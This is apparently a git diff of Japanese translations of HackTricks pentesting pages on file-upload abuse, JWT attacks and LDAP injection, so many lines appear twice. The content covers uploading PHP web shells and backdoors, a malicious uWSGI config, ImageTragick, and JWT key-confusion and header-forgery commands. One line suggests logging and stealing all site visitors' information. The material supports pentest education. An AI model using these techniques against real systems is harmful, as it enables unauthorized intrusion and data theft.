* **ローカルファイルインクルージョン**脆弱性を見つけてバックドアを実行します。
* **情報漏洩の可能性**
1. **同じファイル**を**同時に**何度もアップロードします。
2. **既存のファイル**または**フォルダー**の**名前**でファイルをアップロードします。
3. **「.」、「..」、または「…」を名前に持つファイル**をアップロードします。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」というファイル名は「/www/」ディレクトリに「uploads」というファイルを作成します。
4. **NTFS**で簡単に削除できないファイルをアップロードします(例:**“…:.jpg”**)。(Windows)
4. **NTFS**で簡単に削除できないファイルをアップロードします(例:「…:.jpg」)。(Windows)
5. **無効な文字**(例:`|<>*?”`)を名前に持つファイルを**Windows**にアップロードします。(Windows)
6. **予約された****禁止された****名前**CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9を持つファイルを**Windows**にアップロードします。
6. **予約された****禁止された****名前**CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8、LPT9を使用してファイルを**Windows**にアップロードします。
* **実行可能ファイル**.exeまたは**.html**(あまり疑わしくない)をアップロードして、被害者が誤って開いたときに**コードを実行**することも試みてください。
### 特殊な拡張子のトリック
**PHPサーバー**にファイルをアップロードしようとしている場合、[コードを実行するための**.htaccess**トリックを確認してください](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)。\
**ASPサーバー**にファイルをアップロードしようとしている場合、[コードを実行するための**.config**トリックを確認してください](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
**PHPサーバー**にファイルをアップロードしようとしている場合、[コードを実行するための**.htaccess**トリックを確認してください](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)。\
**ASPサーバー**にファイルをアップロードしようとしている場合、[コードを実行するための**.config**トリックを確認してください](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
`.phar`ファイルはJavaの`.jar`のようなもので、PHP用であり、**PHPファイルのように使用**できますPHPで実行したり、スクリプト内に含めたりすることができます...
`.phar`ファイルはJavaの`.jar`のようなもので、PHP用であり、**PHPファイルのように使用**できますPHPで実行したり、スクリプト内に含めたりすることができます...
`.inc`拡張子は、ファイルを**インポートするためだけに使用される**PHPファイルに時々使用されるため、ある時点で誰かが**この拡張子を実行可能にした**可能性があります。
@ -125,7 +125,7 @@ JettyサーバーにXMLファイルをアップロードできる場合、[**新
この脆弱性の詳細な調査については、元の研究を確認してください:[uWSGI RCEの悪用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
リモートコマンド実行RCE脆弱性は、`.ini`構成ファイルを変更する能力がある場合、uWSGIサーバーで悪用できます。uWSGI構成ファイルは、"magic"変数、プレースホルダー、および演算子を組み込むための特定の構文を利用します。特に、`@(filename)`として使用される'@'演算子は、ファイルの内容を含めるために設計されています。uWSGIでサポートされているさまざまなスキームの中で、「exec」スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は、`.ini`構成ファイルが処理されるときに、リモートコマンド実行や任意のファイルの書き込み/読み取りなどの悪意のある目的に悪用される可能性があります。
リモートコマンド実行RCE脆弱性は、`.ini`構成ファイルを変更する能力がある場合、uWSGIサーバーで悪用できます。uWSGI構成ファイルは、"magic"変数、プレースホルダー、および演算子を組み込むために特定の構文を利用します。特に、`@(filename)`として使用される`@`演算子は、ファイルの内容を含めるために設計されています。uWSGIでサポートされているさまざまなスキームの中で、"exec"スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は、`.ini`構成ファイルが処理されるときに、リモートコマンド実行や任意のファイルの書き込み/読み取りなどの悪用に利用できます。
以下は、さまざまなスキームを示す有害な`uwsgi.ini`ファイルの例です:
```ini
@ -147,7 +147,7 @@ characters = @(call://uwsgi_func)
```
ペイロードの実行は、設定ファイルの解析中に発生します。設定が有効化され、解析されるためには、uWSGIプロセスを再起動する必要がありますクラッシュ後やサービス拒否攻撃のためにまたはファイルを自動再読み込みに設定する必要があります。自動再読み込み機能が有効になっている場合、変更を検出すると指定された間隔でファイルが再読み込みされます。
uWSGIの設定ファイル解析の緩い性質を理解することが重要です。具体的には、議論されたペイロードはバイナリファイル画像やPDFなどに挿入でき、潜在的な悪用の範囲をさらに広げます。
uWSGIの設定ファイル解析の緩い性質を理解することが重要です。具体的には、議論されたペイロードはバイナリファイル画像やPDFなどに挿入でき、潜在的な悪用の範囲をさらに広げることができます。
## **wget File Upload/SSRF Trick**
@ -191,12 +191,12 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
* **JS**ファイル**アップロード** + **XSS** = [**Service Workers**の悪用](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
* [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)から**異なるsvgペイロード**を試す\*\*\*\*
* [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)から**異なるsvgペイロード**を試す
* [有名な**ImageTrick**脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* **URLから画像を取得するようにWebサーバーを指示できる**場合、[SSRF](../ssrf-server-side-request-forgery/)を悪用することを試みることができます。この**画像**が**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/)からのURLを指定して、**すべての訪問者の情報を盗む**こともできます。
* [**XXEとCORS**バイパスをPDF-Adobeアップロードで実行](pdf-upload-xxe-and-cors-bypass.md)
* [PDF-Adobeアップロードによる**XXEとCORS**バイパス](pdf-upload-xxe-and-cors-bypass.md)
* 特別に作成されたPDFでXSS: [次のページでは、**PDFデータを注入してJS実行を取得する方法**を示しています](../xss-cross-site-scripting/pdf-injection.md)。PDFをアップロードできる場合、与えられた指示に従って任意のJSを実行するPDFを準備できます。
* \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))の内容をアップロードして、サーバーに**アンチウイルス**があるかどうかを確認する
* \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))の内容をアップロードして、サーバーに**ウイルス対策ソフト**があるかどうかを確認する
* ファイルをアップロードする際に**サイズ制限**があるかどうかを確認する
以下は、アップロードによって達成できることのトップ10リストです[こちらから](https://twitter.com/SalahHasoneh1/status/1281274120395685889)
@ -216,7 +216,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
{% embed url="https://github.com/portswigger/upload-scanner" %}
## マジックヘッダバイト
## マジックヘッダバイト
* **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
* **JPG**: `"\xff\xd8\xff"`
@ -268,7 +268,7 @@ create_zip()
```
**圧縮を悪用したファイルスプレー**
さらなる詳細は**元の投稿を確認してください**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
詳細について**元の投稿を確認してください**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **PHPシェルの作成**: PHPコードは、`$_REQUEST`変数を通じて渡されたコマンドを実行するように書かれています。
@ -295,7 +295,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
このコンテンツを画像拡張子でアップロードして脆弱性を悪用します**(ImageMagick , 7.0.1-1)**[エクスプロイト](https://www.exploit-db.com/exploits/39767)から)
このコンテンツを画像拡張子でアップロードして脆弱性を悪用します **(ImageMagick , 7.0.1-1)** (元の[エクスプロイト](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
@ -306,7 +306,7 @@ pop graphic-context
PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特定の画像処理操作を効果的に回避できます。PHP-GDの`imagecopyresized`および`imagecopyresampled`関数は、この文脈で特に関連性が高く、画像のリサイズやリサンプリングに一般的に使用されます。埋め込まれたPHPシェルがこれらの操作の影響を受けない能力は、特定のユースケースにおいて重要な利点です。
この技術の詳細な探求、方法論および潜在的な応用については、次の記事に記載されています: ["PNG IDATチャンクにウェブシェルをエンコードする"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースは、プロセスとその影響について包括的な理解を提供します。
この技術の詳細な探求、方法論および潜在的な応用については、次の記事に記載されています: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースは、プロセスとその影響について包括的な理解を提供します。
詳細情報は: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
@ -329,15 +329,15 @@ PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
あなたが**ハッキングキャリア**に興味があり、アンハッカブルなものをハックしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -10,12 +10,12 @@ GCPハッキングを学び、実践する<img src="../.gitbook/assets/grte.p
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有する、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
@ -26,7 +26,7 @@ GCPハッキングを学び、実践する<img src="../.gitbook/assets/grte.p
### **クイックウィン**
[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool)を`All Tests!`モードで実行し、緑のラインを待ちます。
[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool)をモード`All Tests!`で実行し、緑のラインを待ちます。
```bash
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
@ -36,7 +36,7 @@ python3 jwt_tool.py -M at \
![](<../.gitbook/assets/image (935).png>)
その後、プロキシでリクエストを検索するか、jwt\_ toolを使用してそのリクエスト使用されたJWTをダンプできます
その後、プロキシでリクエストを検索するか、jwt\_ toolを使用してそのリクエスト使用されたJWTをダンプできます
```bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
@ -50,20 +50,20 @@ You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/s
JWTの署名が検証されているかどうかを確認するには
* エラーメッセージが検証中を示唆している場合;詳細なエラーに含まれる機密情報を確認する必要があります。
* 返されたページの変更も検証を示します。
* 変更がない場合は検証が行われていないことを示します;この時にペイロードの主張を改ざんする実験を行います。
* エラーメッセージが検証中を示唆している場合;詳細なエラーに含まれる敏感な情報を確認する必要があります。
* 返されたページの変更も検証を示しています。
* 変更がない場合は検証が行われていないことを示しています;この時にペイロードの主張を改ざんする実験を行います。
### 起源
トークンがサーバー側で生成されたのか、クライアント側で生成されたのかをプロキシのリクエスト履歴を調べて判断することが重要です。
* クライアント側から最初に見られたトークンは、キーがクライアント側のコードに露出している可能性があるため、さらなる調査が必要です。
* サーバー側から発生したトークンは、安全なプロセスを示します。
* サーバー側から発生したトークンは、安全なプロセスを示しています。
### 期間
トークンが24時間以上持続するかどうかを確認してください...もしかしたら決して期限切れにならないかもしれません。「exp」フィールドがある場合、サーバーがそれを正しく処理しているか確認してください。
トークンが24時間以上持続するかどうかを確認してください...もしかしたら決して期限切れにならないかもしれません。「exp」フィールドがある場合、サーバーがそれを正しく処理しているかどうかを確認してください。
### HMAC秘密鍵のブルートフォース
@ -82,7 +82,7 @@ Burp拡張機能「JSON Web Token」を使用してこの脆弱性を試し、JW
アルゴリズムをRS256からHS256に変更すると、バックエンドコードは公開鍵を秘密鍵として使用し、その後HS256アルゴリズムを使用して署名を検証します。
次に、公開鍵を使用し、RS256をHS256に変更することで、有効な署名を作成できます。これを実行してウェブサーバーの証明書を取得できます:
次に、公開鍵を使用し、RS256をHS256に変更することで、有効な署名を作成できます。これを実行してWebサーバーの証明書を取得できます:
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
@ -100,7 +100,7 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
* **「jku」ヘッダーを持つトークンの評価**:
* 「jku」主張のURLを確認して、適切なJWKSファイルにリンクしていることを確認します。
* トークンの「jku」値を変更して、制御されたWebサービスに向け、トラフィックを観察できるようにします。
* トークンの「jku」値を変更して、制御されたWebサービスに向けることで、トラフィックを観察します。
* **HTTPインタラクションの監視**:
* 指定したURLへのHTTPリクエストを観察することで、サーバーが提供されたリンクから鍵を取得しようとしていることがわかります。
* このプロセスで`jwt_tool`を使用する際は、テストを容易にするために、`jwtconf.ini`ファイルを個人のJWKSの場所で更新することが重要です。
@ -113,7 +113,7 @@ python3 jwt_tool.py JWT_HERE -X s
### Kidの問題の概要
オプションのヘッダー主張である`kid`は、特定の鍵を識別するために使用され、トークン署名検証のために複数の鍵が存在する環境では特に重要です。この主張は、トークンの署名を検証するために適切な鍵を選択するのに役立ちます。
オプションのヘッダー主張である`kid`は、特定の鍵を識別するために使用され、トークン署名検証に複数の鍵が存在する環境では特に重要です。この主張は、トークンの署名を検証するために適切な鍵を選択するのに役立ちます。
#### 「kid」を通じて鍵を明らかにする
@ -167,7 +167,7 @@ print("e:", hex(key.e))
```
#### x5u
X.509 URL。PEM形式でエンコードされた一連のX.509証明書フォーマット標準公開証明書を指すURI。セット内の最初の証明書は、このJWTに署名するために使用されるものでなければなりません。次の証明書はそれぞれ前の証明書に署名し、証明書チェーンを完成させます。X.509はRFC 52807で定義されています。証明書を転送するには、トランスポートセキュリティが必要です。
X.509 URL。PEM形式でエンコードされた一連のX.509証明書フォーマット標準公開証明書を指すURI。セット内の最初の証明書は、このJWTに署名するために使用される必要があります。次の証明書はそれぞれ前の証明書に署名し、証明書チェーンを完成させます。X.509はRFC 52807で定義されています。証明書を転送するには、トランスポートセキュリティが必要です。
**このヘッダーをあなたの管理下にあるURLに変更して**、リクエストが受信されるか確認してください。その場合、**JWTを改ざんすることができるかもしれません**。
@ -215,7 +215,7 @@ openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
あなたはこのnodejsスクリプトを使用して「n」と「e」を取得できます
このnodejsスクリプトを使用して「n」と「e」を取得できます
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
@ -225,17 +225,17 @@ const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
```
最終的に、公開鍵と秘密鍵、そして新しい「n」と「e」の値を使用して、[jwt.io](https://jwt.io)を使って任意の情報を持つ新しい有効なJWTを偽造できます。
Finally, using the public and private key and the new "n" and "e" values you can use [jwt.io](https://jwt.io) to forge a new valid JWT with any information.
### ES256: 同じノンスで秘密鍵を明らかにする
### ES256: 同じノンスでプライベートキーを明らかにする
いくつかのアプリケーションがES256を使用し、同じンスを使用して2つのJWTを生成する場合、秘密鍵を復元できます。
いくつかのアプリケーションがES256を使用し、同じンスを使用して2つのJWTを生成する場合、プライベートキーを復元できます。
ここに例があります: [ECDSA: 同じノンスを使用した場合の秘密鍵の明らかにする (SECP256k1使用)](https://asecuritysite.com/encryption/ecd5)
ここに例があります: [ECDSA: 同じノンスを使用した場合のプライベートキーの明示 (SECP256k1使用)](https://asecuritysite.com/encryption/ecd5)
### JTI (JWT ID)
JTI (JWT ID)クレームは、JWTトークンの一意の識別子を提供します。これは、トークンの再生を防ぐために使用できます。\
JTI (JWT ID) クレームは、JWTトークンの一意の識別子を提供します。これは、トークンの再生を防ぐために使用できます。\
しかし、IDの最大長が40001-9999である状況を想像してください。リクエスト0001と10001は同じIDを使用します。したがって、バックエンドが各リクエストでIDをインクリメントしている場合、これを悪用して**リクエストを再生する**ことができます各成功した再生の間に10000リクエストを送信する必要があります
### JWT登録クレーム
@ -246,37 +246,37 @@ JTI (JWT ID)クレームは、JWTトークンの一意の識別子を提供し
**クロスサービスリレー攻撃**
いくつかのWebアプリケーションがトークンの生成と管理のために信頼されたJWTサービスに依存していることが観察されています。JWTサービスによって1つのクライアントのために生成されたトークンが、同じJWTサービスの別のクライアントによって受け入れられた事例が記録されています。サードパーティサービスを介してJWTの発行または更新が観察された場合、同じユーザー名/メールを使用してそのサービスの別のクライアントにアカウントを登録する可能性を調査する必要があります。その後、取得したトークンをターゲットへのリクエストで再生して受け入れられるかどうかを確認する試みを行うべきです。
いくつかのウェブアプリケーションがトークンの生成と管理のために信頼されたJWTサービスに依存していることが観察されています。JWTサービスによって1つのクライアントのために生成されたトークンが、同じJWTサービスの別のクライアントによって受け入れられた事例が記録されています。サードパーティサービスを介してJWTの発行または更新が観察された場合、同じユーザー名/メールを使用してそのサービスの別のクライアントにアカウントを登録する可能性を調査する必要があります。その後、取得したトークンをターゲットへのリクエストで再生して受け入れられるかどうかを確認する試みを行うべきです。
* あなたのトークンが受け入れられる場合、重大な問題が示される可能性があり、任意のユーザーアカウントの偽装を許可する可能性があります。ただし、サードパーティアプリケーションにサインアップする場合、より広範なテストの許可が必要になる可能性があるため、これは法的なグレーゾーンに入る可能性があります。
* あなたのトークンが受け入れられることによって重大な問題が示される可能性があり、これにより任意のユーザーアカウントの偽装が可能になるかもしれません。ただし、サードパーティアプリケーションにサインアップする場合、より広範なテストの許可が必要になる可能性があるため、これは法的なグレーゾーンに入る可能性があります。
**トークンの有効期限チェック**
トークンの有効期限は「exp」ペイロードクレームを使用してチェックされます。JWTはセッション情報なしで使用されることが多いため、慎重な取り扱いが必要です。多くの場合、他のユーザーのJWTをキャプチャして再生することで、そのユーザーのなりすましが可能になります。JWT RFCは、トークンの有効期限を設定するために「exp」クレームを利用してJWT再生攻撃を軽減することを推奨しています。さらに、この値の処理と期限切れトークンの拒否を確実にするために、アプリケーションによる関連チェックの実装が重要です。トークンに「exp」クレームが含まれており、テストの時間制限が許可される場合、有効期限が過ぎた後にトークンを保存して再生することが推奨されます。トークンの内容、タイムスタンプの解析有効期限のチェックUTCのタイムスタンプを含むは、jwt_toolの-Rフラグを使用して読み取ることができます。
トークンの有効期限は「exp」ペイロードクレームを使用してチェックされます。JWTはセッション情報なしで使用されることが多いため、慎重な取り扱いが必要です。多くの場合、他のユーザーのJWTをキャプチャして再生することで、そのユーザーのなりすましが可能になることがあります。JWT RFCは、トークンの有効期限を設定するために「exp」クレームを利用してJWT再生攻撃を軽減することを推奨しています。さらに、この値の処理と期限切れトークンの拒否を確実にするために、アプリケーションによる関連チェックの実装が重要です。トークンに「exp」クレームが含まれており、テストの時間制限が許可される場合、有効期限が過ぎた後にトークンを保存して再生することが推奨されます。トークンの内容、タイムスタンプの解析および有効期限のチェックUTCのタイムスタンプを含むは、jwt_toolの-Rフラグを使用して読み取ることができます。
* アプリケーションがトークンをまだ検証している場合、トークンが決して期限切れにならないことを示唆する可能性があるため、セキュリティリスクが存在する可能性があります
* アプリケーションがトークンをまだ検証している場合、トークンが決して期限切れにならない可能性があるため、セキュリティリスクが存在するかもしれません
### ツール
{% embed url="https://github.com/ticarpi/jwt_tool" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
あなたが**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい場合 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
<summary>Support HackTricks</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してハッキングトリックを共有してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -3,23 +3,23 @@
## LDAP Injection
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
<summary>Support HackTricks</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、アンハッカブルをハックしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -27,55 +27,55 @@ GCPハッキングを学び、実践する: <img src="../.gitbook/assets/grte.pn
### **LDAP**
**LDAPについて知りたい場合は、以下のページにアクセスしてください:**
**LDAPとは何かを知りたい場合は、以下のページにアクセスしてください:**
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %}
**LDAP Injection**は、ユーザー入力からLDAPステートメントを構築するWebアプリケーションを対象とした攻撃です。アプリケーションが入力を**適切にサニタイズしない**場合に発生し、攻撃者がローカルプロキシを介して**LDAPステートメントを操作**できるようになり、無許可のアクセスやデータ操作につながる可能性があります。
**LDAP Injection**は、ユーザー入力からLDAPステートメントを構築するWebアプリケーションを対象とした攻撃です。アプリケーションが入力を**適切にサニタイズしない**場合に発生し、攻撃者がローカルプロキシを通じて**LDAPステートメントを操作**できるようになり、無許可のアクセスやデータ操作につながる可能性があります。
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
**フィルター** = ( filtercomp )\
**フィルターコンポーネント** = and / or / not / item\
**Filter** = ( filtercomp )\
**Filtercomp** = and / or / not / item\
**And** = & filterlist\
**Or** = |filterlist\
**Not** = ! filter\
**フィルターリスト** = 1\*filter\
**アイテム**= simple / present / substring\
**シンプル** = attr filtertype assertionvalue\
**フィルタータイプ** = _'=' / '\~=' / '>=' / '<='_\
**プレゼント** = attr = \*\
**サブストリング** = attr ”=” \[initial] \* \[final]\
**初期** = assertionvalue\
**最終** = assertionvalue\
**(&)** = 絶対TRUE\
**(|)** = 絶対FALSE
**Filterlist** = 1\*filter\
**Item**= simple / present / substring\
**Simple** = attr filtertype assertionvalue\
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
**Present** = attr = \*\
**Substring** = attr ”=” \[initial] \* \[final]\
**Initial** = assertionvalue\
**Final** = assertionvalue\
**(&)** = Absolute TRUE\
**(|)** = Absolute FALSE
例えば:\
For example:\
`(&(!(objectClass=Impresoras))(uid=s*))`\
